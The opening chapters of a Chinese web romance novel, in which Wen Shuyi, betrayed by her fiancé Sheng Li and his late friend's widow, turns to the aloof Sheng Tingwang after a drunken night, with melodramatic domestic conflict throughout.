《渣男骗我当保姆,转嫁大佬你别哭》 第1章 都被背叛了,我喝点酒怎么了 “不要打我……” 正在厨房里煲汤的温疏亦,听到什么东西打碎的声音。 她连菜铲都没来得及放下,就从厨房里跑了出来。 “怎么了?” 三岁的小姑娘,一头扎过来,抱着她的大腿哭得泪流满面,“疏亦阿姨,你不要打我好不好,我不是故意的……” 温疏亦错愕,“……?” “米米,你又做什么坏事了?”沈馨晚快步走了过来,不分青红皂白的,就往小姑娘的屁股上打,“妈妈有没有教过你,不要乱动阿姨的东西,你怎么就是不听呢?” 沈馨晚是她男朋友盛励发小陈铭的遗孀。 一个月前。 陈家发生了重大的变故。 做为独子的陈铭突然离世,让陈家上下陷入黑暗和悲痛。 盛励和陈铭一直关系不错,便将陈铭和沈馨晚的女儿米米,带回来,让温疏亦帮忙照顾。 温疏亦可怜这个小姑娘。 走哪儿带到哪儿。 生怕她受一点委屈。 打碎的是一个摆件,是亲生父母忌日的时候,她找人做的玻璃内雕, 内镶的是她们一家四口唯一的一张全家福。 她很珍重。 碎了,照片也坏掉了,她心疼得厉害,“你怎么把这个给摔了?” 温疏亦的语气算不上好。 小姑娘缩起脖子,颤着腔,“对不起,我只是不小心。” “这是别人最珍贵的东西,你怎么不长眼啊。”沈馨晚揪着不放,把孩子打得哇哇哭。 温疏亦不知道是不是沈馨晚纵容的。 之前,小姑娘也做过几次类似的事情。 摔坏她珍爱的发夹。 往她鞋子里放钉子。 最严重的那次,小姑娘拿了园丁的农药,倒到了她喝水的杯子里。 每次沈馨晚都是当着盛励的面,对米米又打又骂的,好像自己被欺负了一般。 温疏亦只念着她是一个孩子。 又刚刚失去父亲。 没计较。 但总是这样莫名其妙的就弄坏她的东西,然后哭哭啼啼,次数多了,她实在无法再有怜爱之心。 盛励听到声音,从屋里走出来。 一眼就看到地上的碎片,不禁皱起眉心质问温疏亦,“至于吗?不就是打碎了个摆件,再去做一个便是了。” 本来温疏亦就很气。 盛励这话,分明是在说她太计较了。 脸色实在谈不上好看,更不用提语气了,“看来,是我的东西放错了地方。” “你除了会阴阳怪气,欺负孩子,还会干什么?”盛励不满,看向温疏亦的视线中,透出疏离厌恶,“斤斤计较,一点都不大气。” “阿励,你不要怪疏亦,是米米不懂事,她又不懂寄人篱下,又不懂得审时度势,说到底,是我这个当妈的,没有教育好孩子,疏亦应该生气的,应该打她的。” 沈馨晚说着,眼眶泛红,又往米米的身上打了两下。 米米哭得更厉害。 盛励心疼孩子,出手阻止。 对温疏亦的意见更大,“陈铭刚刚去世,馨晚带着孩子来寄住段时间,你就发脾气,你就这样容不下我朋友的家人吗?真的是太过分了。” 盛励发脾气。 温疏亦现在倒成了个不懂事的。 “米米,道歉。”沈馨晚揪了女儿一下。 小姑娘跑过来,扑通一下跪到了温疏亦的面前。 “疏亦阿姨,米米不懂事,求你不要赶我和妈妈走,我爸爸已经不在了,我们已经无家可归了,你行行好吧,我给你磕头。” 三岁的小姑娘,头磕得砰砰响。 唇角那丝偷偷的挑衅和阴暗,却被温疏亦拾进了眼底。 她满眼陌生地后退了两步。 寒气从脚底升起,一瞬间,心凉透了。 “温疏亦,你看你把一个孩子,逼成什么样了?”盛励吼斥着,暴跳如雷。 小姑娘满脸是泪地,去捡地上的那些玻璃茬子。 “疏亦阿姨,你别生气,我马上就捡起来,我有胶水,我会粘好的,你不要生米米的气了,好不好?米米不乖,米米该打,米米会长记性的,米米不要去流浪……” 小姑娘哭得肝肠寸断。 沈馨晚扭过身子,掩面哭泣。 盛励心疼坏了,高高扬起巴掌,想替娘俩出气,“温疏亦你……” “你要打我吗?” 除了质问就是指责,现在竟然要打人。 这个男人,还真是,无条件的信任这出戏码。 温疏亦失望了,不止是对盛励。 不出意外。 孩子的手被玻璃划伤,哭的更是上气不接下气,“妈妈……好痛……” 盛励瞳仁一紧,收起手掌,急忙察看小姑娘的伤势,“受伤了?米米不哭,这是叔叔的家,没人有资格赶你和妈妈离开的,乖,不哭,叔叔带你去医院。” 盛励抱起小姑娘往外走。 沈馨晚急忙跟了上去。 温疏亦看着三人离开的背影,有那么几秒的时间,她是听不到任何声音的。 可能是太生气了。 手指紧攥到,已近麻木。 每次面对这样的情形时。 盛励的表现不像一个心疼朋友妻子的人,更像一个心疼妻子和女儿的丈夫。 她突然觉得自己像个笑话。 不知道过了多久。 手机响了一声。 一条头条的新闻,跃然眼前。 关于盛励和沈馨晚。 地点,好像是陈铭出事那天。 拥抱的,擦泪的,更有像是亲吻的。 病房做背景,场面破碎,美感十足。 可能是麻木,也可能是彻底的失望,温疏亦的心也没那么疼,就是有点窒息。 两年前。 一纸婚约将她送到盛家。 她成了盛励的女朋友。 初到盛家,她像一只应激的小猫。 呕吐,发烧,没完没了的生病。 是盛励对她无微不至的照顾,无数个失眠夜晚的陪伴。 换来她敞开心的接纳。 他说,“疏亦,我喜欢你,我想跟你在一起,永远不分开。” 他说,“疏亦,我要娶你,我这辈子,只会爱你一个人。” 她信了。 两年。 她已经对他产生了情感上的依赖。 即便盛温两家有婚约。 她还是差把那句,[现在就娶我吧盛励,我想嫁给你。]写在脸上。 可通常换的是他那句温柔到她无法抵抗,又不容置疑的话。 “疏亦,我爱你,我想给你的,是绝对而极致的爱和自由,而不是一个牢笼。” 听听,多冠冕堂皇。 所谓的牢笼,只是他不想把自己关进去而已。 结果。 显而易见。 就是……毫无底线又不知羞耻的背叛。 她爱得太认真,活该被辜负。 温疏亦只恨自己有眼无珠。 放纵谁不会,又没有人天生背着贞洁牌坊出生。 酒精是最好的催化剂。 温疏亦喝得酩酊大醉。 在盛家,明令禁止女人饮酒。 她不管了。 都被背叛了,她喝点酒,怎么了? 她不仅把自己喝得烂醉。 还爬上了另一个男人的床…… 第2章 这么多年,她得到了什么? 她的初次,没多少感觉。 就是哪儿哪儿都疼。 …… 一大早。 温疏亦人还没醒,就听到了聒噪的声音。 “亏你还睡得着,昨天你把米米逼成什么样了?孩子那么小,出事了怎么办?我怎么向死去的陈铭交代,温疏亦你也太不懂事了。” 温疏亦宿醉,再加上折腾了一晚的男女之事。 她没多少好脾气。 “又不是我的孩子,她出不出事,跟我有什么关系?” 四目相对。 通常,做了错事的人,会心虚。 然而。 盛励没有。 温疏亦也没有。 盛励诧然于温疏亦的硬脾气,她向来乖巧,愣了一瞬。 “你,你还有理了?” “我现在不舒服,麻烦你出去。”温疏亦将被子扯了扯,翻了个身,背对向他。 盛励气滞。 没走,反是坐到了她的床上,有些温柔的,摸她的额头,“你,是不是不舒服?” “别碰我。” 温疏亦又应激了。 她一想到,无数个爱他的日子里,他的这双手在抚着沈馨晚那个女人的身体,她就恶心得不行。 盛励眉心微拧,“你这是干什么?就因为昨天,我多说了你几句?” “我住进盛家两年,你是不是从来就没有想过要娶我?” 温疏亦从床上坐起来,一瞬不瞬地质问他。 盛励眸子微黯了黯,“你看,陈铭是我最好的朋友,他刚发生了这么大的事情,我实在不能在这个节骨眼上……,你,怎么突然问起这个了?” “你朋友死了,又不是你爹死了,有什么不能的?还是说你压根就没想过?” 盛励没说话。 对温疏亦的质问,有一些反感,“疏亦,我们相爱就够了,婚姻只会束缚我们,这两年,我们不是相处得很好吗?” 温疏亦心口酸涩。 她明知道是这样的,非要得到答案,自取其辱。 “既然没有想过,那就分开吧,谁也别耽误谁了。” 温疏亦起身下床。 脚上是她最喜欢的兔子警官造型的拖鞋。 其实,这双鞋有一个情侣款。 另一双,她送给了盛励。 他不穿也就罢了,转手送给了厨房帮忙的大姐,将她的心意碾碎。 那时,她还爱着他。 自然不会往旁处想,现在不一样了,她有些心疼钱了。 “大清早的说梦话呢?”盛励想到了过来时,厨房大姐说的话,“你是不是去盛珽妄那儿了?昨天晚上有人看到你去了他那边了,你们……?” 盛珽妄在盛家是一个特殊的存在。 有传闻说他是盛家的私生子。 也有的说,他是一个为国捐躯烈士的后代,被盛老爷子收养了。 众说纷纭。 当年盛老爷子将他带回来的时候。 盛家的原配坚定地认为是前者,气急攻心,心脏猝死了。 自此以后。 盛家原配这一枝,跟盛珽妄,算是有了不共戴天之仇。 “这跟你有关系吗?”温疏亦深呼吸,提醒他,“还有,你注意你的称呼,要是让爷爷听到你叫三爷私生子,腿给你打断。” “温疏亦,你最好离他远一点……”盛励没好气的,提醒她要注意分寸,“……我看你是还没有睡醒,赶紧的清醒一下,一会儿帮着馨晚照顾一下米米,她太累了,昨晚都没有睡好。” 温疏亦这次,自然没有再听盛励的吩咐。 在外面闲逛了一天。 回到盛家时,盛励和沈馨晚还有米米都在客厅里。 盛励抱着米米,身体紧紧地贴着沈馨晚。 不知道在看手机上的什么,盛励的手自然而然地,搭在女人的腰上。 时不时地发出笑声。 像极了一家三口。 他看起来好温柔,笑得眼尾炸花,曾经他也这样抱过她。 温疏亦心脏还是像被缠上了藤蔓。 此时她的出现,倒显得有点多余了。 有些情绪的,踢掉了脚上的鞋子。 动静令三人,不约而同地望向了她。 “你去哪儿了?说了让你帮着馨晚照顾米米,你倒是好,一天见不着人,我真是搞不懂,你一天到晚的,到底在鬼混什么?” 盛励的话带着不满和指责。 好像温疏亦天生就是来伺候盛家人的。 “疏亦阿姨,你去哪儿了?”米米跑到温疏亦的面前,带着纱布的小手,轻轻的握住了温疏亦的指尖,“你是不是还在怪我?米米已经尽力的在捡玻璃了,你别怪米米了好不好?” 以前温疏亦看这个米米没什么感觉,就是有一些调皮。 现在越看她,长得越像盛励不说,整个就是一邪恶小孩。 温疏亦抽回指尖,莫名有一些生理不适。 “米米,自己去玩会。”沈馨晚哄走女儿,走到温疏亦的面前,出口便是抱歉,“疏亦,是我没有管好米米,你那个玻璃,在哪儿订制的,我马上再去帮你重做一个,你看好吗?别跟我们计较了,免得让阿励为难。” 沈馨晚善解人意,盛励的脸色缓和了一些,“也不是什么值钱的东西,再去订制一个就是了,陈铭出了事,馨晚和米米是最需要关心的,她们难道还比不上你那个破玻璃吗?” “阿励……不要这么说疏亦。” 沈馨晚的小手握在盛励的胳膊上,轻轻地抓了抓。 眼中的暧昧拉丝,丝毫没避人。 片刻,转过脸来,看向温疏亦,“疏亦,阿励也是心疼我们母女,毕竟他和陈铭是最好的朋友,陈铭刚刚去世……,他脾气急了一些,你不会计较的对吧?” 这茶言茶语。 听得温疏亦想笑。 抬眸,温疏亦看向沈馨晚这张,并不算憔悴的脸。 她长得不算大气,五官却很精致,透着一股子江南女人特有的风情在里面。 像……风中的野百合。 妩媚,妖娆,总能令人驻足,流连。 温疏亦想起了一些往事。 她进盛家的第一年生日,盛励为她庆生,要吹蜡烛的时候,他接了个电话,说是沈馨晚扭到脚踝,然后匆匆忙忙地走了。 她亲生父母忌日回滨城那天的火车上,盛励说,沈馨晚养的小狗要生小崽子,他毫不犹豫地扔下她,又走了。 还有她胃痛发作,要住院的时候,沈馨晚说打雷害怕,盛励把她一个人交给医生…… 那时的她,为盛励找了无数的理由和借口,找补。 她劝自己说,陈铭工作在外地,盛励帮忙照顾沈馨晚是应该的。 养母也时常教育她,将来要当盛家媳妇的人,不要太小心眼,更不能嫉妒和争风吃醋。 她做到了。 可她得到了什么? 第3章 她风情万种 他如果爱,就算她是颗野草,他都觉得她生命力顽强。 如果不爱,哪怕她风情万种的蓝色娇姬,也掉色。 盛励不爱她了。 不,是从未爱过她。 没关系。 反正,她和他也要结束了,这么一想,温疏亦的怨气也没那么重。 “我累了。” 温疏亦答非所问地转身离开。 抬眼。 她看到了正向这儿走来的盛珽妄。 多年前,盛珽妄在国外执行任务时,腿受了伤,那副冰冷的银色金属手杖,成了标配。 阳光落到手杖上,反射的光,刚好落进温疏亦的眼底。 将男人高挺修长的身影,晕上了一层金色的光圈。 他一般不来主宅这边的。 怎么…… 刹那间。 她抬起的脚步,不知道是该落下,还是该收回去。 昨晚,她和盛珽妄发生关系的时候,她喝了很多的酒,但脑子比任何时候都清醒。 最热烈的时候,她将准备向盛励求婚的戒指,套到了盛珽妄的无名指上。 “戴上我的戒指,就是我的人了。” “盛珽妄,我们现在是夫妻了。” “盛珽妄,你以后只准爱我一个人,否则你就一辈子不举。” 她好像还搂着盛珽妄的脖子,说了很多盛励的坏话。 把他和沈馨晚那点事,全说了。 “老公,你帮我教训他好不好?我要报复他,我要让他知道背叛是要付出代价的。” “老公,你答应我好不好?” 盛珽妄就像麻将块,占满了她脑容量有限的思维空间。 温疏亦记得自己最后,差点被撞散了架子,至于后面怎么收场的…… 她好像……晕了。 温疏亦深呼吸,再深呼吸。 刻意压低了眉眼,垂着脑袋,想尽快从他身边溜过去。 “去哪儿?” 盛珽妄低沉又含着磁性的声音。 像是提醒温疏亦,他们并不陌生一般。 她吓得后背一僵,乖乖喊人,“三爷。” “听说……你要去天景工作?” 温疏亦愣了一瞬。 她还以为他要提昨晚的事情。 不禁松了口气。 她想去天景集团工作的事情,是进盛家前的想法。 没跟任何盛家人讲起过,包括盛励。 说句没出息的,她之前最大的愿望,是嫁给盛励当全职太太。 “只是投了简历。” 温疏亦今年刚拿到本科毕业证。 天景是上市公司,她一个双非二本,人家要不要她,还是个未知数。 “盛家缺你吃喝了,要抛头露面的?” 盛珽妄的话,令温疏亦眉心微不可见地蹙了蹙。 盛家是红圈里首屈一指的存在。 面子大过天。 做盛家的儿媳妇,确实有一套比360行行规,还难学的规矩。 不外出工作,是其中一条。 她在盛家这两年,规规矩矩地学怎么样做一个好媳妇,除了去学校上课,就是在盛家当老妈子。 两点一线,比牛马还像马牛。 眼下。 她和盛励不可能再走到结婚那一步。 找工作这事,她也并没觉得有什么不可。 “盛家是没缺我吃喝,但我不是盛家人,工个作,应该不算犯天条吧?” 这句带着明显怼人语气的话。 令跟在盛珽妄身旁的老管家,冷汗直流。 “温小姐,怎么可以这样跟三爷讲话呢?”管家出言训斥,而后转身向盛珽妄解释,“温小姐平日里也是温驯乖巧,可能是今天心情不太好吧,胆子大了些。” 盛珽妄冷冷地扫了她一眼,意味不明地嗤了句,“她胆子是挺大。” 温疏亦撇嘴。 像个受了气的小媳妇。 温疏亦离开。 没走两步,盛珽妄竟从她的身后,追到她的身前,“跟我过来。” 他的语气是命令。 温疏亦有一种不祥的预感。 他应该是要跟她清算,她睡他这件事情。 温疏亦垂着脑袋在想,是要装糊涂,还是一咬牙就承认了,然后跟他谈条件。 昨晚,她记得很清楚,盛珽妄答应她了不少事情。 跟在盛珽妄的身后。 距离控制的不远不近。 这个男人生的过于高大。 宽肩,窄腰,两条腿又直又长,手杖不像是辅助,更像是一件高贵的装饰品。 像权力。 像地位。 他很轻易地就挡住了她头顶的阳光。 置于阴影中,她突然开始悲戚自己可怜的身世。 六岁被温家收养,寄人篱下。 名义,她算是红圈二代,但二代圈里,都知道她是个冒牌货。 人人都敬畏的圈子里,她更是没有享受到一丁点的红利。 更多的是嘲笑,讥讽,和谨小慎微。 她和前面的男人一样,一个名不正,一个言不顺。 抬眸,这是她第二次来盛珽妄的房间。 上次是卧室。 这次是客厅。 同样的陌生。 他将外套脱下,拘谨的黑色衬衣,被随意扣开了几颗领扣。 锁骨处,一条明晃晃的链子,就那样堂而皇之地掉了出来。 温疏亦看得瞳仁一紧。 这是她母亲的遗物。 怎么会在盛珽妄的脖子上? 她记起来了。 给他戴戒指的时候,为表忠心,就将母亲的遗物,给盛珽妄戴上了。 她现在有点理解,烽火戏诸侯的戏码了。 上头。 “三,三爷,可不可以,把这条项链……还给我?” 她伸手。 反被盛珽妄扣住手腕,轻轻地一拽,就扑进了他的怀里,“怎么还抢上了?” 两人贴得很近。 近到呼吸缠绕,近到暧昧。 甚至她能感受到他黑色衬衣下,肌肉的纹理。 但温疏亦无暇顾及。 “三爷,这链子……还麻烦你还给我。” 父母去世时。 只留给了她两样东西。 一张全家福照片,另一个,就是这条项链,它是母亲的遗物。 照片被米米毁了个七七八八。 这个项链,她不能再失去了。 “送出去的东西,哪有要回的道理。”他修长的指尖,捏着尖美的下巴,似是不满,“昨天晚上,你哭着喊着,非给我戴上,一转脸,就要拿回去,这可不行。” 温疏亦昨天晚上,脑子确实抽风。 要是旁的。 她就认了。 这件不行。 “那我,换件,行吗?” 盛珽妄唇角微微勾了一下,将左手无名指上的戒指,转了转,“这个吗?” 温疏亦,无地自容。 盛珽妄的身子很烫。 她额角开始冒汗,喉咙也要冒火,“昨天晚上……” “怎么?想提裤子不认账?” 温疏亦喉间发紧,“昨天晚上,你……” “很清醒。” “我……”她现在说自己断片,显然有点自欺欺人,眼周湿氲,“……这条项链,是我母亲的遗物,所以……” 第4章 不叫老公了? 温疏亦声音软软的。 气息扑在他的颈间,痒得撩人。 盛珽妄心口莫名有一丝触动。 没难为她。 将项链还了。 “既然东西这么重要,那以后就保管好,别一舒服,就往男人的脖子上套。” 温疏亦没想到盛珽妄这么好说话。 “谢谢三爷。” 盛珽妄笑了口,“不叫老公了?” 毫不夸张,这句话还没落地,温疏亦的脸已经像蒸熟了虾子。 她红着脸,从他怀里脱身。 攥着项链跑了出去。 刚走出去。 就一头撞到了盛励的身上。 “温疏亦?” 盛励不解,拧起眉心。 一眼望过去,竟然能看到客厅里坐着的盛珽妄。 “温疏亦,你脸怎么这么红?不是,你怎么在这儿?你和……你和他做什么了?” 一连串的质问。 令温疏亦反感,“你有什么资格管我?” “你手里是什么?给我看看。”盛励看到了温疏亦的项链,再联想到里面的男人,他不由地感觉自己头顶变了色,“是不是他送你的?温疏亦,你背着我在跟他干什么?跟他……” 温疏亦不肯。 退了两步,“别说得那么难听,我跟你已经分手了,我干什么,都不需要向你交待?” “温疏亦,你做贼心虚。” 盛励去抢。 温疏亦就躲。 她迅速将项链戴到脖子上,“你管好你自己吧。” 温疏亦要走。 盛励就不让。 人高胳膊长的,抬手就扯掉了,温疏亦刚戴到脖子上的项链。 扬起手就要摔。 “不要……”温疏亦失控尖叫,“……盛励,我求你,不要……” 盛励上头,丝毫没有顾及此时温疏亦的肯求,任性般地重重摔了下去。 在温疏亦去接的时候,项链错过了她的掌心。 水晶吊坠砸在地面上,发出清脆的声响,断成了两半。 “不要……” 温疏亦没有接住。 水晶碎了。 水晶里面母亲的那张照片,也碎了。 就像被米米打碎的玻璃内雕。 他根本就没有在意过,任何一件对她来讲重要的东西。 她的心上被划了一道口子,鲜血如注。 心脏抽痛。 四肢麻木。 温疏亦红着眼圈,一片片,一点点的,将碎掉的水晶吊坠收好。 紧紧地握在掌中。 生怕失去般。 碎坏掉的水晶边缘锋利,将她掌心划破,血一滴滴地渗进水晶而后从她的指尖滴落…… 她缓缓起身,抬手给盛励一个巴掌,“你就是个浑蛋。” 这一巴掌打蒙了他。 理智回归。 脱口而出的道歉,因为这个来历不明的东西,又生生咽了下去。 “你为了这么个破东西……,你打我?这东西,是他送的吧,温疏亦,你告诉我是不是……” 盛励像一个受害者。 抓着温疏亦的胳膊,狠狠地晃着。 话未完。 盛励就被一只有力的脚,给重重地踹出去了三米远。 皮鞋的脚印清晰地印在白色的衬衣上。 人砸在草皮上后,疼得喘了那么五六下,才将这口气倒上来。 盛珽妄的突然出手。 就像验证了他和温疏亦的关系一般。 令盛励的脸上,扬起一抹被背叛的狠戾。 “盛珽妄,你这个专吃窝边草的败类,爷爷把你带回来养大,你就是这么做人的?” 盛励咳嗽着,吐出口血水,“爷爷回来,我一定会讨个说法的。” 他不吃眼亏,捂着心脏,踉跄着离开后。 盛珽妄收回幽邃冷冽的视线,看向温疏亦流血的手。 声音发紧,“唐伯,赶紧拿药箱。” 温疏亦在唐管家拎着药箱走来时,抗拒地向后退了一步。 “不用了。” 她小脸几乎没有血色,指尖的血,滴滴嗒嗒,像绽放的红色小花,随着一路离开。 唐伯望着温疏亦的背影,很担心,“温小姐伤得不轻呢,励少爷也太过分了,怎么可以摔坏温小姐母亲的遗物呢,那是水晶,很难修补的。” …… 温疏亦难过极了。 走出盛家后,她一个人坐在路边的台阶上,哭了很久。 挺没出息的。 她连亲生父母留下来的遗物,都没有保护好。 擦干眼泪后,找了家水晶修复店铺。 将母亲的遗物递了过去。 上面还沾着凝固的血。 师傅没多问,只是说,修复有难度。 她千拜托,万拜托,师傅才答应试试看。 盛励的冲动之下,将二人之间最后一点体面,全部撕碎。 爱是一瞬间的事。 不爱好像也是一瞬间的事。 她和他,完了。 “叮”一条短信进来。 温疏亦看了一眼手机。 “温疏亦女士,请于周一八点,来天景集团面试……” 她进入面试环节了。 这是她这几天,唯一值得开心的事情。 再回到盛家时。 天下了大雨。 不大不小,淅淅沥沥的。 温疏亦心情沮丧,垂着脑袋沿着大宅的青石板路,慢慢地走着。 发丝和肩头,慢慢被雨水浸透,她浑然不知。 插着裤兜的男人,撑着伞,慢慢走向她。 黑色的伞面倾斜。 挡住了温疏亦头顶的雨滴。 她抬眸。 是盛励。 他从唐伯那儿得知,他摔碎的不是什么订情信物,而是温疏亦母亲的遗物。 心里亮堂的同时,又有一些愧疚。 “还生我的气啊?怪我一时冲动,你就别跟我计较了好吗?”他伸出胳膊,想去抱温疏亦。 被她厌恶疏离地瞪了回去。 “别碰我。”她原谅不了。 温疏亦性子很软的,以前他说什么,她都信。 二人的距离拉开,盛励感觉对温疏亦失去了掌控,“这就是一场误会,我的错,我认,你还想让我怎样?” “不需要。”温疏亦很冷,小脸也因为盛励的靠近,绷得很近,“请把你的伞拿开,离我远一点。” 温疏亦得冷淡。 换来的就是盛励,对她和盛珽妄关系的进一步怀疑。 “这么抗拒我,那我倒要好好问问你,你和盛珽妄到底发生什么了?”他不得不怀疑,昨天晚上她夜不归宿,并不清白,“你好好说。” 温疏亦不想回答。 盛励明明不爱她,此刻却表现的,像是吃了多大亏似的,“我跟他发生什么,与你也没有任何关系。盛励,我已经跟你说了,我要跟你分手,你听不懂吗?” “温疏亦,你是不是忘了,你来盛家,是给谁当媳妇的?”他像是丢了脸面的咬牙切齿。 明明一张还算俊俏的脸,却扭曲变了形。 挺好笑的。 “我们没订婚没结婚,不过是父辈的口头婚约,正好……”温疏亦淡而无味地看着他,“……你跟你爸说一声,去我家把退婚了吧。” “退婚?” 第5章 她是块遮羞布 盛励没打算娶温疏亦。 但她是块遮羞布,可以遮住他和沈馨晚不算光明正大的丑事。 更何况,当年滨城的那场地震,已经将盛温两家,连为一体。 父亲的红色仕途升迁,又离不了温父的支持。 退婚,等于撕破脸。 现在还不是时候。 “我什么时候说不娶你了?”盛励压下脾气,语气也变得温和了一些,“只是现在还不是时候,你跟馨晚争风吃醋,也要有个度,是不是?” “你娶我?我在争风吃醋?”温疏亦觉得这个时候不戳穿他,倒是对不起他了,“你自己捂着你的良心问问,你想娶的是我吗?你脑子里想的应该是,陈铭死了,你刚好可以顺理成章的继承他的老婆和孩子了,不是吗?” “你……” 盛励脸色极为难看。 但他还是只觉得,温疏亦是相信了,那些关于他和沈馨晚的传闻。 “……陈铭死了,我跟馨晚走得近了一些,那是因为她孤儿寡母的不容易,我才多关注了一些……别人乱猜也就算了,你也怎么也这么不明事理。” 盛励的眉心透出,对温疏亦不懂事的失望。 温疏亦不得不赞一下盛励的演技。 但她这个人,生来就不爱看演戏的,“是我不明事理,还是你们肮脏不堪,你们自己知道。” 温疏亦的话难听,但事实就是如此。 清白这种事情不是说出来的,是做出来的。 做不到,说得再花里胡哨,也没有任何的意义。 “温疏亦,你现在怎么变得如此的刻薄?我爱不爱你,你自己感受不出来吗?” 盛励扯开了领口的扣子,眉眼狠戾,却故作轻松。 温疏亦不知道他在装什么。 雨下大了。 敲打在伞面上,噼里啪啦,无端透出一些萧瑟。 就像她的人生一样。 温疏亦没有兴趣回答他的任何问题,“既然这样,我也没什么好说的。” 温疏亦准备离开。 刚走进雨中。 被盛励扣住手腕,狠狠地又拽了回来,“温疏亦,能不能不要任性?懂事一点,我很快就把沈馨晚和她女儿送回去了,你别再去找盛珽妄了,他不是什么好人。” 温疏亦极轻地扯了一下唇。 她就是故意的。 “你不需要跟我说这些。”温疏亦眉眼淡淡,抽回手腕,“盛励,既然我们要分开了,就体面一点,在这个圈里,低头不见抬头见的,闹大了,对谁都不好。” “你和他睡了是不是?” 男人的直觉告诉他。 温疏亦身上有属于,别的男人的味道,“几次了?” 这话问得可笑。 他自己先做了背叛的事情,怎么还有脸来质问她,“重要吗?” 这句反问,在盛励听来。 就是温疏亦已经和盛珽妄睡了,而且不止一次。 什么时候开始? 为什么他一点都没有察觉? 盛励咽不下这口气。 脸色像是蒙上了层灰,透出阴鸷,“背叛是要付出代价的,你也知道这圈子很小,这事,要是被圈里的知道了,你们温家还能在圈里立足吗?人人都会戳你们温家的脊梁骨,你就这么不顾及你们温家的脸面?” 倒打一耙这事。 温疏亦比不上盛励。 与愚人争理,她也觉得大可不必。 雨下得更大了。 被风一吹,她的半边身子,被潲湿。 有点冷了。 温疏亦唇角若有似无地浅勾了一下,然后,转身走进雨里。 她的脚步不算慢,盛励还是快步追上了她,“为什么不回答我?” “是你先背叛了我们的感情,盛励,我和你已经完了,你还在纠缠这些,有什么意思呢?以后,请你对我放尊重一点。”温疏亦的眼底,明显有了厌恶。 一直温驯的小猫,突然亮出爪子。 是不被允许的。 盛励的眸中掀起,比伞外还乱的狂风暴雨,失控的指尖,突然就掐住了温疏亦的脖子,“你知道吗疏亦,你一点都不乖。” 他力道很重。 掐得温疏亦几乎要失去呼吸。 “你疯了你……” 温疏亦眼眸瞪大,窒息感令她不得不用力地掰盛励的手指。 可明显敌不过他的力道。 “砰。” 一脚。 盛励的身子和黑色的雨伞,在滂沱大雨中,惯性往后飞了出去。 重重地砸在青石板台阶上。 肌肉的撕裂感。 骨头碎开的声音。 男人疼得全身紧骤,还没等他看清这股力道的来源。 银色的金属手杖,就狠狠地抵在了男人胸口,“盛家,就是这么教你欺负女人的?” 大雨中。 盛励的睁开眼睛,看过去。 他疼得唇角颤了两下,“怎么又是你?你是成心跟我过不去是不是?” “盛珽妄,我再怎么样,也轮不到你来教训我,你还真以为自己是盛家人了?” “温疏亦是我未过门的媳妇,这是我跟她的事情,跟你有什么关系?” 盛珽妄唇角不动声色地动了一下。 转头看向了温疏亦。 她颈间的指痕虽然明显,呼吸和脸色却渐渐趋于正常。 “既然未过门,你又哪来的权利,对她动手动脚?” “那也……轮不到你来打我。”盛励气不顺的,想挣扎着起身。 反被金属的手杖压得更紧更重。 男人气势凛冽。 在国外当特种兵多年,眼神中自带杀气,如鹰隼般的墨色深眸与之对视时,盛励是害怕的。 这个时候,最好的脱身之法,那就是搬出盛战。 “爷爷要是知道,你趁着他没在,就欺负他现在唯一的孙子,你,你就是盛家的罪人,罪上加罪。” 盛珽妄的眉心,因为盛励的话,微微蹙起。 做了错事,不承认,还胡搅蛮缠。 要不是看在他是盛家人,全身的骨头都会被拧断。 “道歉。” 盛珽妄声音深沉,不容置喙。 盛励没觉得自己有错。 他摸了把脸上的雨水。 身上的疼加上现在的狼狈,令他越发的不耐。 “道什么歉?盛珽妄,你当自己是救世主了是不是?这是我和温疏亦的私事,你能不能别多管闲事。” “道歉!”盛珽妄厉喝。 手杖重重扬起,又狠狠地杵在了青石板上。 顿时石板断裂。 像是严重的警告。 盛励吓得干咽了一口。 权衡之下,他服软,“我就是一时冲动……,其实,我不又不是故意要伤害疏亦的,我,我道歉行了吧。” 盛励从地上摇晃着起身。 疼。 真疼。 全身的骨头好像都碎了。 他咬着牙,妥协般地道歉,“对不起疏亦,我刚刚一时激动过了头,你原谅我好不好?” 第6章 不懂事,失心疯 盛励刚要上前。 温疏亦条件反射般的,后缩了一下身子。 不是每一句对不起,都能换来没关系。 她摇头。 盛珽妄将手中的雨伞,温柔地塞进了温疏亦手里。 解扣,脱下深灰色的外套,披在了女人的身上。 带着他体温的衣料,顷刻裹住了她被雨气浸透的肩头。 动作间,他顺手又将伞拿了回去。 指尖,不经意地扫过她冰凉细长的手指,像是错觉,却如烈火一般的灼热。 “你有不原谅的权利。”他说。 温疏亦抬起眼。 温湿的眸子,看向他…… 他的声音低沉清晰,雨幕在他身后肆无忌惮,而他却像为她遮住了这些狂风暴雨。 没有多余的动作。 也没有刻意的安慰。 这份近乎沉默的周全,像一股暖流,,缓慢而确定的,涌向她冰冷酸软的心口。 温疏亦微微蜷起指尖。 眼底氤氲,不知是雨,还是别的什么。 睫毛缓缓垂下。 她声音细如蚊声,“我想回去。” “好。” 盛珽妄没有再看盛励。 指尖扣住温疏亦的肩,“走吧。” 二人丝毫没有避讳地在盛励的面前,离开。 他一时炸了雷。 顾不得身上的痛,冲着雨中那越走越远的背影,怒叫着,“我就说你们有事,盛珽妄你这个狗东西,你吃盛家的,喝盛家的,还,还抢我的女人……,你还是个人吗?” 盛励感觉受到了前所未有的屈辱。 回去后,越想越气,越想越不甘心。 把房间里的东西,摔了个稀巴烂,这才半解了这口气。 沈馨晚看着这一地的狼藉。 不由的眉心拧起,“这是怎么了?谁惹着你了?” “还不是那个盛珽妄。”盛励气不顺,又抬手摔坏了温疏亦的杯子,“还有温疏亦,他们两个简直是太欺负人了。” “至于吗?”沈馨晚叫了保姆过来,将地上摔碎的东西都收拾好,这才屏退下人,来到盛励的身旁,“有什么可气的,盛珽妄他根本不能算盛家人,你跟他计较什么?” “他现在欺负到我头上,我能不计较吗?” 这是脸面问题。 盛珽妄没给。 他自然不会就此罢休,“我是盛家唯一的孙子,他现在欺负到我头上,我不信,爷爷到时还会护着他。” “就算你觉得他和温疏亦有事,也得讲究个证据不是吗?那样你爷爷才会相信,空口白牙地说,你爷爷只会觉得是你不懂事,失心疯。” 沈馨晚轻轻的抱住了盛励的胳膊,柔媚,动人,倒是让他的火气消了不少,“证据我暂时是没有,我是咽不下这口气。” “你是在气盛珽妄,还是在意温疏亦?你生这么大的气,不会是……爱上她了吧?” 沈馨晚有一些醋意。 柔软的声音,带出几丝委屈,直叫盛励心疼,“当然不是,你别多想,你知道我对你的感情的,我为了你,这么多年,也没给温疏亦一个名分,我怎么会爱上温疏亦呢。” 